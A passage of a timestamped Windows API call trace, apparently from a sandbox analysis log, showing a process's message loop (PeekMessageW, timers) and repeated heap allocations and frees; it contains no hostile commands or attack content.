PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.620] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.620] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.620] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.620] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.620] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.620] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.620] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.620] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.620] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.620] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.620] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.620] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.620] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.620] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.620] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.620] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.620] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.621] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.621] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.621] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.621] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.621] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.621] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.621] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.621] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.621] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.621] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.621] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.621] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.621] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.706] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.706] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.706] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.706] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.706] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.706] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.706] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.706] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.706] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.706] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.706] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.707] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.707] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.707] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.707] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.707] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.707] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.707] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.707] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.707] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.707] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.707] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.707] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.707] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.707] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.707] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.707] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.708] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.708] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.708] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.708] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.708] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.708] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.708] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.708] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.708] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.708] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.708] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.708] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.708] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.708] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.708] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.897] TranslateMessage (lpMsg=0xbdf794) returned 0 [0137.898] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0137.898] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0137.898] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0137.899] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.900] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec910 | out: hHeap=0xe80000) returned 1 [0137.900] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3a8 [0137.900] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0137.900] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.900] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.900] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0137.900] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3a8 | out: hHeap=0xe80000) returned 1 [0137.900] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec990 [0137.900] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.902] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec990 | out: hHeap=0xe80000) returned 1 [0137.902] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.902] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0137.902] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3a8 [0137.902] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.902] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.902] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3a8 | out: hHeap=0xe80000) returned 1 [0137.902] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0137.902] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec550 [0137.902] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.903] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec550 | out: hHeap=0xe80000) returned 1 [0137.903] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.903] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.903] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.903] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.903] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.903] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0137.903] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.904] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec490 [0137.904] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.904] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec490 | out: hHeap=0xe80000) returned 1 [0137.904] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.904] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.904] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.904] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.904] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0137.904] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.904] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0137.904] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeecad0 [0137.904] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.905] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeecad0 | out: hHeap=0xe80000) returned 1 [0137.905] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.905] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0137.905] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.905] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.905] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0137.905] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0137.905] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0137.905] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec910 [0137.905] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.906] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec910 | out: hHeap=0xe80000) returned 1 [0137.906] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.906] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0137.906] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0137.906] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055750 [0137.906] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055750 | out: hHeap=0xe80000) returned 1 [0137.906] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0137.906] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0137.906] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeecad0 [0137.906] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.907] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeecad0 | out: hHeap=0xe80000) returned 1 [0137.907] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.907] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0137.907] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.907] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.907] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.907] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0137.907] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0137.907] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0137.907] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.907] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0137.907] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.908] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0137.908] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.908] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.908] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.908] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0137.908] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0137.908] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0137.908] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.908] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0137.908] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.908] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0137.909] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.909] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.909] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.909] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.909] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0137.909] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0137.909] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.909] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.909] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c70 [0137.909] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.909] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c70 | out: hHeap=0xe80000) returned 1 [0137.909] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.909] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9b98 [0137.909] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c70 [0137.909] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.909] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.909] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.909] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0137.910] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0137.910] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.910] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c70 | out: hHeap=0xe80000) returned 1 [0137.910] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9b98 | out: hHeap=0xe80000) returned 1 [0137.910] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.910] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.910] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0137.910] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.910] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9b98 [0137.910] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 